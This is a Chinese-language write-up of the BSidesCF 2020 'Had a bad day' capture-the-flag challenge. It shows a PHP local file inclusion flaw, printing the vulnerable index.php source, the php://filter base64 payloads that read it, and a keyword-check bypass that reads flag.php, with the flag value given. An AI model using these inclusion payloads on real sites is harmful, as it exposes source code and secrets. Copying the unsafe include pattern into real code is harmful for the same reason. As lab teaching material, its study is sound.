[BSidesCF 2020]Had a bad day

[BSidesCF 2020]Had a bad day

拿到题目,看到有一个参数,值得我们注意

1

直接先测试一下

2

这里的报错,泄露了一个问题,一个是存在包含漏洞,另外一个就是自动会加上.php,我们直接包含index.php读出它的核心代码

1
http://95aaf521-7ce9-4123-b435-518ddbe25adc.node5.buuoj.cn:81/index.php?category=php://filter/read=convert.base64-encode/resource=index
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

上面就是核心代码,strpos函数检测file变量中是否含有指定的字符串,有就返回字符串所在的位置,所以我们得有上面的特定字符串才能读flag.php

php://filter/read=convert.base64-encode/index/resource=flag

写成上述包含代码即可,这个位置加入任何的字符串都不影响解析,同时绕过了检测代码,进入include函数

1
2
3
4
5
<!-- Can you read this flag? -->
<?php
// flag{4fdf9f4f-4321-4ab9-ac56-cf480d4b3498}
?>

读到flag